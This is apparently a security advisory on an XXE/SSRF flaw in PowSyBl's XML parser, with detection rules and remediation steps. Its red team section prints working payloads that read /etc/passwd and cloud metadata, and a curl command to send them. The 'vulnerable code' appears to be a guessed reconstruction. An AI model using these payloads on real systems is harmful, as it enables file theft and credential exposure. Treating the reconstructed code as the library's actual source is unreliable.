CVE-2025-47293

Executive Summary

CVE-2025-47293 is a critical vulnerability in the PowSyBl (Power System Blocks) framework, specifically within the powsybl-core XML parsing library (com.powsybl.commons.xml.XmlReader). The flaw allows an attacker to perform both XML External Entity (XXE) and Server-Side Request Forgery (SSRF) attacks. By submitting a malicious XML payload to an application that uses the vulnerable XmlReader class, an unauthenticated attacker can read arbitrary files from the server’s filesystem, including sensitive configuration files, credentials, or other protected data. In multi-tenant environments, this can lead to privilege escalation and lateral movement.

The vulnerability is patched in version 6.7.2 of powsybl-commons. No public proof-of-concept (PoC) or exploit code has been released at this time.

Supply Chain & Package Security

This vulnerability affects the Java/Maven ecosystem. The vulnerable component is com.powsybl:powsybl-commons. Organizations using PowSyBl in their power system modeling or analysis pipelines must verify their dependency version and update immediately. The package is distributed via Maven Central and is a core dependency for many power system applications.

CVSS Breakdown & Threat Level

While a CVSS vector is not officially assigned, based on the technical details, the following assessment is made:

• Attack Vector (AV): Network (N) – The attacker can send a crafted XML payload over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
• Confidentiality (C): High (H) – Sensitive files can be read.
• Integrity (I): None (N) – No file modification is possible.
• Availability (A): None (N) – No denial of service.

Estimated CVSS Score: 7.5 (High)

Threat Level: High. The attack is easy to execute, requires no authentication, and can lead to full disclosure of sensitive system files.

Deep Dive & Mechanics

The vulnerability resides in the com.powsybl.commons.xml.XmlReader class. This class is used to parse XML documents within the PowSyBl framework. The core issue is that the XML parser is configured to process Document Type Definitions (DTDs) and external entities by default.

XXE Attack Mechanism: An attacker can craft an XML payload that defines an external entity pointing to a local file (e.g., file:///etc/passwd). When the parser processes the XML, it resolves the entity and includes the file’s content in the parsed output, which is then returned to the attacker.

SSRF Attack Mechanism: Similarly, the attacker can define an external entity pointing to an internal or external URL (e.g., http://169.254.169.254/latest/meta-data/). The server will make an HTTP request to that URL, potentially exposing cloud metadata or internal services.

Vulnerable Code Path: The vulnerable method is likely XmlReader.read() or similar, which uses a default DocumentBuilderFactory without disabling external entity processing.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-6.7.2):

// com.powsybl.commons.xml.XmlReader
public class XmlReader {
    public Document read(InputStream inputStream) throws Exception {
        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
        DocumentBuilder builder = factory.newDocumentBuilder();
        return builder.parse(inputStream);
    }
}

Patched Code (6.7.2):

// com.powsybl.commons.xml.XmlReader
public class XmlReader {
    public Document read(InputStream inputStream) throws Exception {
        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
        // Disable external entity processing
        factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
        factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
        factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
        factory.setXIncludeAware(false);
        factory.setExpandEntityReferences(false);
        DocumentBuilder builder = factory.newDocumentBuilder();
        return builder.parse(inputStream);
    }
}

The patch explicitly disables DTD processing and external entity resolution, preventing both XXE and SSRF attacks.

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

1. Deploy a vulnerable PowSyBl application (version < 6.7.2) that accepts XML input via an API endpoint (e.g., /api/import).
2. Use a tool like curl or Burp Suite to send a malicious XML payload.

Exploit Payload (XXE to read /etc/passwd):

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

Exploit Payload (SSRF to access cloud metadata):

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root>&xxe;</root>

Execution:

curl -X POST -H "Content-Type: application/xml" -d @payload.xml http://target/api/import

The server will respond with the contents of the requested file or URL.

Blue Team (Defender)

Detection:

• Monitor for XML payloads containing <!DOCTYPE, <!ENTITY, or SYSTEM declarations.
• Look for outbound HTTP requests from the application server to unexpected IPs (e.g., cloud metadata IPs).
• Use WAF rules to block XML with external entities.

Hunting:

• Search logs for file:// or http:// in XML request bodies.
• Check for unusual file read patterns (e.g., /etc/passwd, /etc/shadow).

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to 169.254.169.254 (AWS metadata) or 100.100.100.200 (Alibaba Cloud).
  • Requests to internal IPs (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
• File IOCs:
  • Unauthorized reads of /etc/passwd, /etc/shadow, /proc/self/environ, or application configuration files.
• Log IOCs:
  • XML parsing errors related to entity resolution.
  • DOCTYPE declarations in XML input where none are expected.

Detection Engineering

YARA Rule

rule CVE_2025_47293_XXE_SSRF {
    meta:
        description = "Detects XML payloads attempting XXE or SSRF via external entities"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-47293"
    strings:
        $doctype = "<!DOCTYPE" nocase
        $entity = "<!ENTITY" nocase
        $system = "SYSTEM" nocase
        $file_proto = "file://" nocase
        $http_proto = "http://" nocase
        $https_proto = "https://" nocase
    condition:
        $doctype and $entity and ($system and ($file_proto or $http_proto or $https_proto))
}

Sigma Rule

title: CVE-2025-47293 - XXE/SSRF via PowSyBl XML Parser
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects XML requests containing external entity definitions targeting file or network resources
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-content-type: 'application/xml'
        cs-uri-query|contains: 
            - '<!DOCTYPE'
            - '<!ENTITY'
            - 'SYSTEM'
            - 'file://'
            - 'http://'
    condition: selection
falsepositives:
    - Legitimate XML processing with DTDs (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-47293 - XXE/SSRF via PowSyBl XML Parser"; flow:to_server; content:"POST"; http_method; content:"application/xml"; http_content_type; content:"<!DOCTYPE"; within:100; content:"<!ENTITY"; within:200; content:"SYSTEM"; within:300; pcre:"/(file|http|https):\/\//Ri"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade powsybl-commons to version 6.7.2 or later.
2. If immediate upgrade is not possible, apply a virtual patch using a Web Application Firewall (WAF) to block XML requests containing <!DOCTYPE, <!ENTITY, or SYSTEM declarations.
3. Restrict outbound network access from the application server to only necessary destinations.

Long-Term Fixes:

• Ensure all XML parsers in the application are configured securely (disable DTDs, external entities, and XInclude).
• Implement input validation to reject XML with DTDs unless absolutely required.
• Conduct a code review of all XML parsing points in the codebase.

Verification:

• After patching, test with the provided XXE payloads to confirm they are rejected.
• Monitor logs for any residual exploitation attempts.

Valters IT